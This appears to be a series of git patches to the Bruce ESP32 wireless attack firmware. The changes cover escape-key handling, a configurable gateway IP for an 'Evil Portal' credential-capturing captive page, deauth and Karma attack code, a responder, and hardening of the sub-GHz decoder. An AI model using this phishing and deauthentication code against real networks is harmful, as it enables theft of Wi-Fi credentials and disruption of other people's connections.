     WiFi.softAP(apName, emptyString, _channel);
     vTaskDelay(100 / portTICK_PERIOD_MS);
-    
+
     setupRoutes();
     dnsServer.start(53, "*", WiFi.softAPIP());
     webServer.begin();
-    
+
     if (reset) resetCapturedCredentials();
 }
 
@@ -295,38 +295,39 @@ void EvilPortal::loop() {
         if (check(EscPress)) {
             options = {
                 {"Exit Portal", [&exitPortal]() { exitPortal = true; }},
-                {"View Creds", [this, &shouldRedraw]() {
-                    FS *fs;
-                    if (getFsStorage(fs)) {
-                        if (fs->exists("/BruceEvilCreds")) {
-                            loopSD(*fs, false, "CSV", "/BruceEvilCreds");
-                        } else {
-                            displayTextLine("No credentials yet");
-                            vTaskDelay(1000);
-                        }
-                    }
-                    shouldRedraw = true;
-                }},
+                {"View Creds",
+                 [this, &shouldRedraw]() {
+                     FS *fs;
+                     if (getFsStorage(fs)) {
+                         if (fs->exists("/BruceEvilCreds")) {
+                             loopSD(*fs, false, "CSV", "/BruceEvilCreds");
+                         } else {
+                             displayTextLine("No credentials yet");
+                             vTaskDelay(1000);
+                         }
+                     }
+                     shouldRedraw = true;
+                 }},
                 {"Resume", [&shouldRedraw]() { shouldRedraw = true; }}
             };
-            
+
             loopOptions(options);
             if (exitPortal) {
                 displayTextLine("Shutting down...");
                 vTaskDelay(100 / portTICK_PERIOD_MS);
-                
+
                 webServer.end();
                 vTaskDelay(200 / portTICK_PERIOD_MS);
-                
+
                 dnsServer.stop();
                 vTaskDelay(100 / portTICK_PERIOD_MS);
-                
+
                 WiFi.mode(_originalWifiMode);
                 vTaskDelay(100 / portTICK_PERIOD_MS);
-                
+
                 wifiDisconnect();
                 vTaskDelay(100 / portTICK_PERIOD_MS);
-                
+
                 return;
             }
             shouldRedraw = true;
@@ -353,13 +354,9 @@ String EvilPortal::getCapturedPassword() { return lastCred; }
 
 String EvilPortal::getCapturedSSID() { return apName; }
 
-void EvilPortal::setBaseDuration(uint16_t seconds) {
-    _baseDurationSec = seconds;
-}
+void EvilPortal::setBaseDuration(uint16_t seconds) { _baseDurationSec = seconds; }
 
-void EvilPortal::setExtendedDuration(uint16_t seconds) {
-    _extendedDurationSec = seconds;
-}
+void EvilPortal::setExtendedDuration(uint16_t seconds) { _extendedDurationSec = seconds; }
 
 bool EvilPortal::hasRecentActivity() {
     if (totalCapturedCredentials > previousTotalCapturedCredentials) {
@@ -369,18 +366,14 @@ bool EvilPortal::hasRecentActivity() {
     return (millis() - _lastActivityTime < 5000);
 }
 
-bool EvilPortal::hasRecentPageView() {
-    return (millis() - _lastPageViewTime < 30000);
-}
+bool EvilPortal::hasRecentPageView() { return (millis() - _lastPageViewTime < 30000); }
 
-void EvilPortal::recordPageView() {
-    _lastPageViewTime = millis();
-}
+void EvilPortal::recordPageView() { _lastPageViewTime = millis(); }
 
 bool EvilPortal::shouldTerminate() {
     unsigned long currentTime = millis();
     unsigned long elapsed = currentTime - _launchTime;
-    
+
     if (_durationExtended) {
         return elapsed > (_extendedDurationSec * 1000);
     } else {
@@ -390,7 +383,7 @@ bool EvilPortal::shouldTerminate() {
 
 void EvilPortal::checkAndExtendDuration() {
     if (_durationExtended) return;
-    
+
     if (hasRecentActivity()) {
         _durationExtended = true;
         Serial.println("[PORTAL] Activity detected, extending duration");
@@ -481,9 +474,7 @@ void EvilPortal::loadCustomHtml() {
         int apStart = firstLine.indexOf("<!-- AP=\"");
         if (apStart != -1) {
             int apEnd = firstLine.indexOf("\" -->", apStart);
-            if (apEnd != -1) {
-                apName = firstLine.substring(apStart + 9, apEnd);
-            }
+            if (apEnd != -1) { apName = firstLine.substring(apStart + 9, apEnd); }
         }
     }
 }
@@ -794,7 +785,10 @@ void EvilPortal::saveToCSV(const String &csvLine, bool isAPname) {
     log_i("data saved");
 }
 
-void EvilPortal::apName_from_keyboard() { apName = keyboard("Free Wifi", 30, "Evil Portal SSID:"); }
+void EvilPortal::apName_from_keyboard() {
+    apName = keyboard("Free Wifi", 30, "Evil Portal SSID:");
+    if (apName == "\x1B") apName = "Free Wifi";
+}
 
 bool EvilPortal::verifyCreds(String &Ssid, String &Password) {
     bool isConnected = false;
@@ -814,4 +808,4 @@ bool EvilPortal::verifyCreds(String &Ssid, String &Password) {
     WiFi.disconnect(false);
     _deauth = temp;
     return isConnected;
-}
\ No newline at end of file
+}
diff --git a/src/modules/wifi/netcut.cpp b/src/modules/wifi/netcut.cpp
index 34ec5bc5c..dbadffec2 100644
--- a/src/modules/wifi/netcut.cpp
+++ b/src/modules/wifi/netcut.cpp
@@ -697,6 +697,7 @@ void netcutTrollTimingMenu() {
 
         options.push_back({"Offline: " + String(offSec) + "s  [SET]", [&offSec]() {
                                String val = num_keyboard(String(offSec), 3, "Offline (sec):");
+                               if (val == "\x1B") return;
                                if (val.length() > 0) {
                                    unsigned long v = val.toInt();
                                    if (v >= 1 && v <= 300) offSec = v;
@@ -707,6 +708,7 @@ void netcutTrollTimingMenu() {
                            }});
         options.push_back({"Online: " + String(onSec) + "s  [SET]", [&onSec]() {
                                String val = num_keyboard(String(onSec), 3, "Online (sec):");
+                               if (val == "\x1B") return;
                                if (val.length() > 0) {
                                    unsigned long v = val.toInt();
                                    if (v >= 1 && v <= 300) onSec = v;
diff --git a/src/modules/wifi/responder.cpp b/src/modules/wifi/responder.cpp
index fc80d4f6d..0482849f9 100644
--- a/src/modules/wifi/responder.cpp
+++ b/src/modules/wifi/responder.cpp
@@ -569,10 +569,13 @@ void responder() {
     if (!wifiConnected) wifiConnectMenu();
 
     netbiosname_str = keyboard("Bruce", 20);
+    if (netbiosname_str == "\x1B") return;
     netbiosName = stringTochar(netbiosname_str);
     netbiosdomain_str = keyboard("BRUCEGROUP", 20);
+    if (netbiosdomain_str == "\x1B") return;
     netbiosDomain = stringTochar(netbiosdomain_str);
     dnsdomain_str = keyboard("Bruce.Local", 20);
+    if (dnsdomain_str == "\x1B") return;
     dnsDomain = stringTochar(dnsdomain_str);
 
     drawMainBorderWithTitle("RESPONDER"); // draw again after keyboard
@@ -1049,8 +1052,10 @@ void responder() {
                                         smbState.client.stop();
                                         smbState.active = false;
                                     }
-                                } else if (packet[0] == 0xFF && packet[1] == 'S' && packet[2] == 'M' &&
-                                           packet[3] == 'B') {
+                                } else if (
+                                    packet[0] == 0xFF && packet[1] == 'S' && packet[2] == 'M' &&
+                                    packet[3] == 'B'
+                                ) {
                                     Serial.println(F("Paquet SMBv1 received."));
                                     handleSMB1(packet, smbLength);
                                     continue;
diff --git a/src/modules/wifi/tcp_utils.cpp b/src/modules/wifi/tcp_utils.cpp
index f2e30a7a5..2d6281cc6 100644
--- a/src/modules/wifi/tcp_utils.cpp
+++ b/src/modules/wifi/tcp_utils.cpp
@@ -2,8 +2,8 @@
 //       so there is no loss of data when inputing
 #ifndef LITE_VERSION
 #include "modules/wifi/tcp_utils.h"
-#include "core/wifi/wifi_common.h"
 #include "core/display.h"
+#include "core/wifi/wifi_common.h"
 
 bool inputMode;
 
@@ -11,7 +11,7 @@ void listenTcpPort() {
     if (!wifiConnected) wifiConnectMenu();
 
     String portNumber = num_keyboard("", 5, "TCP port to listen");
-    if (portNumber.length() == 0) {
+    if (portNumber.length() == 0 || portNumber == "\x1B") {
         displayError("No port number given, exiting");
         return;
     }
@@ -46,7 +46,7 @@ void listenTcpPort() {
             while (client.connected()) {
                 if (inputMode) {
                     String keyString = keyboard("", 16, "send input data, q=quit");
-                    if (keyString == "q") {
+                    if (keyString == "q" || keyString == "\x1B") {
                         displayError("Exiting Listener");
                         client.stop();
                         server.stop();
@@ -85,8 +85,10 @@ void listenTcpPort() {
 void clientTCP() {
     if (!wifiConnected) wifiConnectMenu();
 
-    String serverIP = keyboard("", 15, "Enter server IP");
+    String serverIP = num_keyboard("", 15, "Enter server IP");
+    if (serverIP == "\x1B") return;
     String portString = num_keyboard("", 5, "Enter server Port");
+    if (portString == "\x1B") return;
     int portNumber = atoi(portString.c_str());
 
     if (serverIP.length() == 0 || portNumber == 0) {
diff --git a/src/modules/wifi/wifi_atks.cpp b/src/modules/wifi/wifi_atks.cpp
index 25643bbf5..4fece0c47 100644
--- a/src/modules/wifi/wifi_atks.cpp
+++ b/src/modules/wifi/wifi_atks.cpp
@@ -1024,7 +1024,7 @@ void beaconAttack() {
     // Get user input for single SSID mode
     if (BeaconMode == 4) {
         singleSSID = keyboard("BruceBeacon", 26, "Base SSID:");
-        if (singleSSID.length() == 0) { return; }
+        if (singleSSID.length() == 0 || singleSSID == "\x1B") { return; }
     }
 #endif
     if (BeaconMode != 3) {
diff --git a/src/modules/wifi/wifi_recover.cpp b/src/modules/wifi/wifi_recover.cpp
index b259152f1..4122e3e7c 100644
--- a/src/modules/wifi/wifi_recover.cpp
+++ b/src/modules/wifi/wifi_recover.cpp
@@ -966,7 +966,7 @@ void wifi_crack_handshake(const String &wordlist_path, const String &pcap_path)
     if (hs.ssid[0] == '\0') {
         padprintln("SSID not found in PCAP");
         String ssid = keyboard("", 32, "Enter SSID:");
-        if (ssid.length() == 0) {
+        if (ssid.length() == 0 || ssid == "\x1B") {
             setCpuFrequencyMhz(CONFIG_ESP_DEFAULT_CPU_FREQ_MHZ);
             displayError("SSID required", true);
             return;

From a003a6bd9b724fd2e59e58272c819e5f1b7dc1a3 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?John=2E=20Sabb=C3=A1?= <victorsabba@gmail.com>
Date: Sat, 23 May 2026 16:32:41 -0300
Subject: [PATCH 68/73] =?UTF-8?q?=F0=9F=90=9B=20FIX:=20Core=20fault?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 src/modules/rf/rf_scan.cpp                    | 51 +++++++++++++++++--
 .../subghz_advanced_decoder_adapter.cpp       | 15 ++++--
 2 files changed, 58 insertions(+), 8 deletions(-)

diff --git a/src/modules/rf/rf_scan.cpp b/src/modules/rf/rf_scan.cpp
index 9dcfb87ae..0317b44c4 100644
--- a/src/modules/rf/rf_scan.cpp
+++ b/src/modules/rf/rf_scan.cpp
@@ -43,7 +43,36 @@ static uint32_t parseFlexibleU32(String value) {
     return strtoul(value.c_str(), NULL, treatAsHex ? 16 : 10);
 }
 
-static String buildLegacyCaptureText(const RfCodes &received, bool rawMode) {
+static String truncateRawDataTokens(const String &rawData, size_t maxTokens) {
+    if (maxTokens == 0 || rawData.length() == 0) return rawData;
+
+    String out = "";
+    out.reserve(rawData.length());
+
+    size_t tokens = 0;
+    bool inToken = false;
+    for (size_t i = 0; i < rawData.length(); i++) {
+        const char c = rawData[i];
+        const bool isSpace = (c == ' ' || c == '\t' || c == '\r' || c == '\n');
+        if (isSpace) {
+            if (inToken) inToken = false;
+            out += c;
+            continue;
+        }
+
+        if (!inToken) {
+            if (tokens >= maxTokens) break;
+            tokens++;
+            inToken = true;
+        }
+        out += c;
+    }
+
+    out.trim();
+    return out;
+}
+
+static String buildLegacyCaptureText(const RfCodes &received, bool rawMode, size_t rawTokenLimit = 0) {
     String out = "Filetype: Bruce SubGhz File\nVersion 1\n";
     uint32_t frequencyHz = received.frequency ? received.frequency : uint32_t(bruceConfigPins.rfFreq * 1000000);
     out += "Frequency: " + String(frequencyHz) + "\n";
@@ -57,7 +86,10 @@ static String buildLegacyCaptureText(const RfCodes &received, bool rawMode) {
         out += "Key: " + String(keyHex) + "\n";
     }
     if (received.te > 0) out += "TE: " + String(received.te) + "\n";
-    if (received.data.length()) out += "RAW_Data: " + received.data + "\n";
+    if (received.data.length()) {
+        String rawData = truncateRawDataTokens(received.data, rawTokenLimit);
+        if (rawData.length()) out += "RAW_Data: " + rawData + "\n";
+    }
 
     return out;
 }
@@ -74,12 +106,21 @@ static void enrichLegacyWithAdvancedDecoder(RfCodes &received, bool rawMode) {
     clearDetectedMetadata(received);
 
 #ifdef SUBGHZ_ADV_PROFILE_FULL
-    const bool fullProfile = true;
+    bool fullProfile = true;
 #else
-    const bool fullProfile = false;
+    bool fullProfile = false;
 #endif
 
-    String capture = buildLegacyCaptureText(received, rawMode);
+    // Safety hardening for legacy RAW flow:
+    // - use CORE registry in legacy RAW to avoid unstable FULL-only decoders on noisy captures
+    // - cap token count so malformed long captures don't stress protocol state machines
+    size_t rawTokenLimit = 0;
+    if (rawMode) {
+        fullProfile = false;
+        rawTokenLimit = 256;
+    }
+
+    String capture = buildLegacyCaptureText(received, rawMode, rawTokenLimit);
     SubGhzAdvancedFrame frame =
         SubGhzAdvancedDecoderAdapter::decodeBruceCapture(capture, "legacy-rf-scan", fullProfile);
     if (!frame.valid) return;
diff --git a/src/modules/subghz_advanced/subghz_advanced_decoder_adapter.cpp b/src/modules/subghz_advanced/subghz_advanced_decoder_adapter.cpp
index 078ff5556..cdfafc916 100644
--- a/src/modules/subghz_advanced/subghz_advanced_decoder_adapter.cpp
+++ b/src/modules/subghz_advanced/subghz_advanced_decoder_adapter.cpp
@@ -253,6 +253,9 @@ static bool parseRawDurations(const String& text, std::vector<int32_t>& out) {
     return !out.empty();
 }
 
+static constexpr size_t kMinUsefulDurations = 8;
+static constexpr size_t kMaxDurationsForDecode = 1024;
+
 static int frameScore(const SubGhzAdvancedFrame& frame) {
     int score = 0;
     if(frame.protocol_name.length() && frame.protocol_name != "Unknown" && frame.protocol_name != "RAW")
@@ -280,18 +283,22 @@ static void subghzRxCallback(
     UNUSED(receiver);
     DecodeContext* ctx = (DecodeContext*)context;
     if(!ctx || !decoder_base || !decoder_base->protocol) return;
-    if(ctx->protocol_filter.length() && ctx->protocol_filter != decoder_base->protocol->name) return;
+
+    const char* protocol_name = decoder_base->protocol->name;
+    if(!protocol_name || protocol_name[0] == '\0') return;
+    if(ctx->protocol_filter.length() && ctx->protocol_filter != protocol_name) return;
 
     SubGhzAdvancedFrame current;
     current.valid = true;
-    current.protocol_name = decoder_base->protocol->name ? decoder_base->protocol->name : "Unknown";
+    current.protocol_name = protocol_name;
     current.frequency_hz = ctx->frequency_hz;
     current.raw_summary = String((uint32_t)ctx->pulse_count) + " pulses";
 
     FuriString* s = furi_string_alloc();
     if(s) {
         if(subghz_protocol_decoder_base_get_string(decoder_base, s)) {
-            parseDecoderString(String(furi_string_get_cstr(s)), current);
+            const char* decoded = furi_string_get_cstr(s);
+            if(decoded) parseDecoderString(String(decoded), current);
         }
         furi_string_free(s);
     }
@@ -347,6 +354,8 @@ bool SubGhzAdvancedDecoderAdapter::decodeRawSubText(
     const String* protocol_filter) {
     std::vector<int32_t> durations;
     if(!parseRawDurations(text, durations)) return false;
+    if(durations.size() < kMinUsefulDurations) return false;
+    if(durations.size() > kMaxDurationsForDecode) durations.resize(kMaxDurationsForDecode);
 
     SubGhzEnvironment* env = subghz_environment_alloc();
     if(!env) return false;

From 62e9350537fc21e0386930a6857c98dbe4464306 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?John=2E=20Sabb=C3=A1?= <victorsabba@gmail.com>
Date: Sat, 23 May 2026 16:39:22 -0300
Subject: [PATCH 69/73] shouldExtractDecoderString

---
 .../subghz_advanced_decoder_adapter.cpp       | 27 ++++++++++++++-----
 1 file changed, 21 insertions(+), 6 deletions(-)

diff --git a/src/modules/subghz_advanced/subghz_advanced_decoder_adapter.cpp b/src/modules/subghz_advanced/subghz_advanced_decoder_adapter.cpp
index cdfafc916..5e26351ec 100644
--- a/src/modules/subghz_advanced/subghz_advanced_decoder_adapter.cpp
+++ b/src/modules/subghz_advanced/subghz_advanced_decoder_adapter.cpp
@@ -255,6 +255,19 @@ static bool parseRawDurations(const String& text, std::vector<int32_t>& out) {
 
 static constexpr size_t kMinUsefulDurations = 8;
 static constexpr size_t kMaxDurationsForDecode = 1024;
+static constexpr size_t kMaxDurationsForVerboseString = 768;
+
+static bool shouldExtractDecoderString(const char* protocol_name, size_t pulse_count) {
+    if(!protocol_name || protocol_name[0] == '\0') return false;
+
+    // Known unstable text formatter on ESP32 in live RX path.
+    if(strcmp(protocol_name, SUBGHZ_PROTOCOL_DICKERT_MAHS_NAME) == 0) return false;
+
+    // Avoid heavy protocol string formatters on long/noisy captures.
+    if(pulse_count > kMaxDurationsForVerboseString) return false;
+
+    return true;
+}
 
 static int frameScore(const SubGhzAdvancedFrame& frame) {
     int score = 0;
@@ -294,13 +307,15 @@ static void subghzRxCallback(
     current.frequency_hz = ctx->frequency_hz;
     current.raw_summary = String((uint32_t)ctx->pulse_count) + " pulses";
 
-    FuriString* s = furi_string_alloc();
-    if(s) {
-        if(subghz_protocol_decoder_base_get_string(decoder_base, s)) {
-            const char* decoded = furi_string_get_cstr(s);
-            if(decoded) parseDecoderString(String(decoded), current);
+    if(shouldExtractDecoderString(protocol_name, ctx->pulse_count)) {
+        FuriString* s = furi_string_alloc();
+        if(s) {
+            if(subghz_protocol_decoder_base_get_string(decoder_base, s)) {
+                const char* decoded = furi_string_get_cstr(s);
+                if(decoded) parseDecoderString(String(decoded), current);
+            }
+            furi_string_free(s);
         }
-        furi_string_free(s);
     }
 
     const int score = frameScore(current);

From 92cde9fb0e0d3c65ee0b380db2cd3f6b91211b49 Mon Sep 17 00:00:00 2001
From: Pirata <bmorcelli@gmail.com>
Date: Sat, 23 May 2026 17:53:16 -0300
Subject: [PATCH 70/73] Add IP Config for Evilportal

---
 src/core/config.cpp               |  18 +++
 src/core/config.h                 |   3 +
 src/core/menu_items/WifiMenu.cpp  |   1 +
 src/core/settings.cpp             |  20 ++++
 src/core/settings.h               |   2 +
 src/modules/ir/ir_read.cpp        |   2 +-
 src/modules/wifi/evil_portal.cpp  |  26 +++--
 src/modules/wifi/evil_portal.h    |   4 +-
 src/modules/wifi/karma_attack.cpp | 182 +++++++++---------------------
 9 files changed, 122 insertions(+), 136 deletions(-)

diff --git a/src/core/config.cpp b/src/core/config.cpp
index 3c78a874f..3a0b4b132 100644
--- a/src/core/config.cpp
+++ b/src/core/config.cpp
@@ -54,6 +54,7 @@ JsonDocument BruceConfig::toJson() const {
     _evilWifiEndpoints["showEndpoints"] = evilPortalEndpoints.showEndpoints;
     _evilWifiEndpoints["allowSetSsid"] = evilPortalEndpoints.allowSetSsid;
     _evilWifiEndpoints["allowGetCreds"] = evilPortalEndpoints.allowGetCreds;
+    _evilWifiEndpoints["gatewayIp"] = evilPortalGatewayIp;
 
     setting["evilWifiPasswordMode"] = evilPortalPasswordMode;
 
@@ -324,6 +325,11 @@ void BruceConfig::fromFile(bool checkFS) {
         evilPortalEndpoints.showEndpoints = evilPortalEndpointsObj["showEndpoints"].as<bool>();
         evilPortalEndpoints.allowSetSsid = evilPortalEndpointsObj["allowSetSsid"].as<bool>();
         evilPortalEndpoints.allowGetCreds = evilPortalEndpointsObj["allowGetCreds"].as<bool>();
+        if (!evilPortalEndpointsObj["gatewayIp"].isNull()) {
+            evilPortalGatewayIp = evilPortalEndpointsObj["gatewayIp"].as<String>();
+        } else {
+            evilPortalGatewayIp = "172.0.0.1";
+        }
     } else {
         count++;
         log_e("Fail");
@@ -484,6 +490,7 @@ void BruceConfig::validateConfig() {
     validateEvilEndpointCreds();
     validateEvilEndpointSsid();
     validateEvilPasswordMode();
+    validateEvilGatewayIp();
 }
 
 void BruceConfig::setUiColor(uint16_t primary, uint16_t *secondary, uint16_t *background) {
@@ -727,6 +734,17 @@ void BruceConfig::validateEvilPasswordMode() {
     if (evilPortalPasswordMode < 0 || evilPortalPasswordMode > 2) evilPortalPasswordMode = FULL_PASSWORD;
 }
 
+void BruceConfig::setEvilGatewayIp(String value) {
+    evilPortalGatewayIp = value;
+    validateEvilGatewayIp();
+    saveFile();
+}
+
+void BruceConfig::validateEvilGatewayIp() {
+    IPAddress gatewayIp;
+    if (!gatewayIp.fromString(evilPortalGatewayIp)) evilPortalGatewayIp = "172.0.0.1";
+}
+
 void BruceConfig::setStartupApp(String value) {
     startupApp = value;
     saveFile();
diff --git a/src/core/config.h b/src/core/config.h
index 1e82c10b5..786c088d3 100644
--- a/src/core/config.h
+++ b/src/core/config.h
@@ -70,6 +70,7 @@ class BruceConfig : public BruceTheme {
     // EvilPortal
     EvilPortalEndpoints evilPortalEndpoints = {"/creds", "/ssid", true, true, true};
     EvilPortalPasswordMode evilPortalPasswordMode = FULL_PASSWORD;
+    String evilPortalGatewayIp = "172.0.0.1";
 
     void setWifiMAC(const String &mac) {
         wifiMAC = mac;
@@ -166,9 +167,11 @@ class BruceConfig : public BruceTheme {
     void setEvilAllowGetCreds(bool value);
     void setEvilAllowSetSsid(bool value);
     void setEvilPasswordMode(EvilPortalPasswordMode value);
+    void setEvilGatewayIp(String value);
     void validateEvilEndpointCreds();
     void validateEvilEndpointSsid();
     void validateEvilPasswordMode();
+    void validateEvilGatewayIp();
 
     // RFID
     void addMifareKey(String value);
diff --git a/src/core/menu_items/WifiMenu.cpp b/src/core/menu_items/WifiMenu.cpp
index a1767055d..7e7f9a8a8 100644
--- a/src/core/menu_items/WifiMenu.cpp
+++ b/src/core/menu_items/WifiMenu.cpp
@@ -115,6 +115,7 @@ void WifiMenu::configMenu() {
     wifiOptions.push_back({"Evil Wifi Settings", [this]() {
                                std::vector<Option> evilOptions;
 
+                               evilOptions.push_back({"Set Gateway IP", setEvilGatewayIp});
                                evilOptions.push_back({"Password Mode", setEvilPasswordMode});
                                evilOptions.push_back({"Rename /creds", setEvilEndpointCreds});
                                evilOptions.push_back({"Allow /creds access", setEvilAllowGetCreds});
diff --git a/src/core/settings.cpp b/src/core/settings.cpp
index 0c4a5dfe7..e7b2cb5ba 100644
--- a/src/core/settings.cpp
+++ b/src/core/settings.cpp
@@ -598,6 +598,26 @@ void setEvilPasswordMode() {
     loopOptions(options, bruceConfig.evilPortalPasswordMode);
 }
 
+/*********************************************************************
+** Function: setEvilGatewayIp
+** Handles menu for setting the Evil Portal gateway IP
+***********************************************************************/
+void setEvilGatewayIp() {
+    options = {
+        {"172.0.0.1",
+         [=]() { bruceConfig.setEvilGatewayIp("172.0.0.1"); },
+         bruceConfig.evilPortalGatewayIp == "172.0.0.1"},
+        {"192.168.4.1",
+         [=]() { bruceConfig.setEvilGatewayIp("192.168.4.1"); },
+         bruceConfig.evilPortalGatewayIp == "192.168.4.1"},
+        {"Custom", [=]() {
+             String ip = num_keyboard("", 15, "Gateway Addr");
+             bruceConfig.setEvilGatewayIp(ip);
+         }},
+    };
+    loopOptions(options, bruceConfig.evilPortalGatewayIp == "192.168.4.1" ? 1 : 0);
+}
+
 /*********************************************************************
 **  Function: setRFModuleMenu
 **  Handles Menu to set the RF module in use
diff --git a/src/core/settings.h b/src/core/settings.h
index f49bac2fd..062f413a4 100644
--- a/src/core/settings.h
+++ b/src/core/settings.h
@@ -48,6 +48,8 @@ void setEvilAllowSetSsid();
 
 void setEvilPasswordMode();
 
+void setEvilGatewayIp();
+
 void setRFModuleMenu();
 
 void setRFFreqMenu();
diff --git a/src/modules/ir/ir_read.cpp b/src/modules/ir/ir_read.cpp
index b253c639e..bf5c4660e 100644
--- a/src/modules/ir/ir_read.cpp
+++ b/src/modules/ir/ir_read.cpp
@@ -488,7 +488,7 @@ bool IrRead::write_file(String filename, FS *fs) {
             case 2: (*fs).remove("/BruceIR/" + filename + ".ir"); break;
             case 3:
                 filename = keyboard(filename, 30, "File name:");
-                if (filename == "\x1B") return;
+                if (filename == "\x1B") return false;
                 display_banner();
                 break;
         }
diff --git a/src/modules/wifi/evil_portal.cpp b/src/modules/wifi/evil_portal.cpp
index b4fbffb49..3ca4f7197 100644
--- a/src/modules/wifi/evil_portal.cpp
+++ b/src/modules/wifi/evil_portal.cpp
@@ -9,11 +9,17 @@
 #include "esp_wifi.h"
 #include "wifi_atks.h"
 
+static DNSServer &sharedEvilPortalDnsServer() {
+    static DNSServer server;
+    return server;
+}
+
 EvilPortal::EvilPortal(
     String tssid, uint8_t channel, bool deauth, bool verifyPwd, bool autoMode, bool backgroundMode
 )
     : apName(tssid), _channel(channel), _deauth(deauth), _verifyPwd(verifyPwd), _autoMode(autoMode),
       _backgroundMode(backgroundMode), webServer(80), _launchTime(millis()) {
+    dnsServer = &sharedEvilPortalDnsServer();
 
     _originalWifiMode = WiFi.getMode();
     _wifiWasConnected = (WiFi.status() == WL_CONNECTED);
@@ -53,7 +59,9 @@ void EvilPortal::CaptiveRequestHandler::handleRequest(AsyncWebServerRequest *req
 }
 
 bool EvilPortal::setup() {
-    if (apGateway == IPAddress((uint32_t)0)) apGateway = IPAddress(192, 168, 4, 1);
+    if (apGateway == IPAddress((uint32_t)0)) {
+        if (!apGateway.fromString(bruceConfig.evilPortalGatewayIp)) apGateway = IPAddress(172, 0, 0, 1);
+    }
     if (apName.isEmpty()) apName = "Free Wifi";
 
     if (_autoMode) {
@@ -98,6 +106,10 @@ bool EvilPortal::setup() {
     }
 
     options = {
+        {"Default",
+         [this]() {
+             if (!apGateway.fromString(bruceConfig.evilPortalGatewayIp)) apGateway = IPAddress(172, 0, 0, 1);
+         }                                                                 },
         {"172.0.0.1",   [this]() { apGateway = IPAddress(172, 0, 0, 1); }  },
         {"192.168.4.1", [this]() { apGateway = IPAddress(192, 168, 4, 1); }},
     };
@@ -128,7 +140,7 @@ void EvilPortal::beginAP() {
     while (millis() - tmp < 3000) yield();
 
     setupRoutes();
-    dnsServer.start(53, "*", WiFi.softAPIP());
+    dnsServer->start(53, "*", WiFi.softAPIP());
     webServer.begin();
 }
 
@@ -244,7 +256,7 @@ void EvilPortal::setupRoutes() {
 
 void EvilPortal::restartWiFi(bool reset) {
     webServer.end();
-    dnsServer.stop();
+    dnsServer->stop();
     vTaskDelay(100 / portTICK_PERIOD_MS);
 
     _captiveHandler = nullptr;
@@ -254,7 +266,7 @@ void EvilPortal::restartWiFi(bool reset) {
     vTaskDelay(100 / portTICK_PERIOD_MS);
 
     setupRoutes();
-    dnsServer.start(53, "*", WiFi.softAPIP());
+    dnsServer->start(53, "*", WiFi.softAPIP());
     webServer.begin();
 
     if (reset) resetCapturedCredentials();
@@ -275,7 +287,7 @@ void EvilPortal::loop() {
             shouldRedraw = false;
         }
 
-        dnsServer.processNextRequest();
+        dnsServer->processNextRequest();
 
         if (!isDeauthHeld && (millis() - lastDeauthTime) > 250 && _deauth) {
             send_raw_frame(deauth_frame, 26);
@@ -319,7 +331,7 @@ void EvilPortal::loop() {
                 webServer.end();
                 vTaskDelay(200 / portTICK_PERIOD_MS);
 
-                dnsServer.stop();
+                dnsServer->stop();
                 vTaskDelay(100 / portTICK_PERIOD_MS);
 
                 WiFi.mode(_originalWifiMode);
@@ -342,7 +354,7 @@ void EvilPortal::loop() {
 
 void EvilPortal::processRequests() {
     if (!_backgroundMode) return;
-    dnsServer.processNextRequest();
+    dnsServer->processNextRequest();
     if (totalCapturedCredentials != (previousTotalCapturedCredentials + 1)) {
         previousTotalCapturedCredentials = totalCapturedCredentials - 1;
     }
diff --git a/src/modules/wifi/evil_portal.h b/src/modules/wifi/evil_portal.h
index 4f25da86e..0ab0ac10a 100644
--- a/src/modules/wifi/evil_portal.h
+++ b/src/modules/wifi/evil_portal.h
@@ -35,7 +35,7 @@ class EvilPortal {
     String getCapturedSSID();
     String getCapturedPassword();
 
-    DNSServer &getDNSServer() { return dnsServer; }
+    DNSServer &getDNSServer() { return *dnsServer; }
     AsyncWebServer &getWebServer() { return webServer; }
     String getApName() { return apName; }
     uint8_t getChannel() { return _channel; }
@@ -63,7 +63,7 @@ class EvilPortal {
 
     AsyncWebServer webServer;
 
-    DNSServer dnsServer;
+    DNSServer *dnsServer = nullptr;
     IPAddress apGateway;
 
     String outputFile = "default_creds.csv";
diff --git a/src/modules/wifi/karma_attack.cpp b/src/modules/wifi/karma_attack.cpp
index 2c0b44793..c35c61036 100644
--- a/src/modules/wifi/karma_attack.cpp
+++ b/src/modules/wifi/karma_attack.cpp
@@ -172,7 +172,6 @@ const uint8_t ht_cap[] PROGMEM = {0xef, 0x09, 0x1b, 0xff, 0xff, 0xff, 0x00, 0x00
                                   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
 const uint8_t rotate_channels[] PROGMEM = {1, 6, 11, 3, 8, 2, 7, 12, 4, 9, 5, 10, 13, 14};
 
-
 String SSIDDatabase::currentFilename = "/ssid_list.txt";
 bool SSIDDatabase::useLittleFS = false;
 
@@ -254,9 +253,7 @@ String SSIDDatabase::getSSID(size_t index) {
     return "";
 }
 
-std::vector<String> SSIDDatabase::getAllSSIDs() {
-    return {};
-}
+std::vector<String> SSIDDatabase::getAllSSIDs() { return {}; }
 
 int SSIDDatabase::findSSID(const String &ssid) {
     FS *fs = openSourceFs();
@@ -1775,9 +1772,7 @@ void launchBackgroundPortal(const String &ssid, uint8_t channel, const String &t
     if (ssid.isEmpty() || ssid == "*WILDCARD*") return;
 
     BackgroundPortal *portal = new (std::nothrow) BackgroundPortal();
-    if (portal == nullptr) {
-        return;
-    }
+    if (portal == nullptr) { return; }
     portal->ssid = ssid;
     portal->channel = channel;
     portal->launchTime = millis();
@@ -2436,52 +2431,35 @@ void updateKarmaDisplay() {
         tft.setTextSize(1);
         tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
 
-        int y = 50;
+        int y = 45;
+        tft.setCursor(10, y);
 
         if (karmaPaused) {
             tft.setTextColor(TFT_RED, bruceConfig.bgColor);
             tft.setCursor(10, y);
             tft.print("KARMA PAUSED");
             tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
-            y += 15;
+            y += LH + 2;
         }
 
-        tft.setCursor(10, y);
-        tft.print("Total:" + String(totalProbes));
-        tft.setCursor(70, y);
-        tft.print("Uniq:" + String(uniqueClients));
-        tft.setCursor(130, y);
-        tft.print("Act:" + String(activeNetworks.size()));
-        tft.setCursor(190, y);
-        tft.print("Pend:" + String(pendingPortals.size()));
-        y += 15;
+        padprint("Total:" + String(totalProbes));
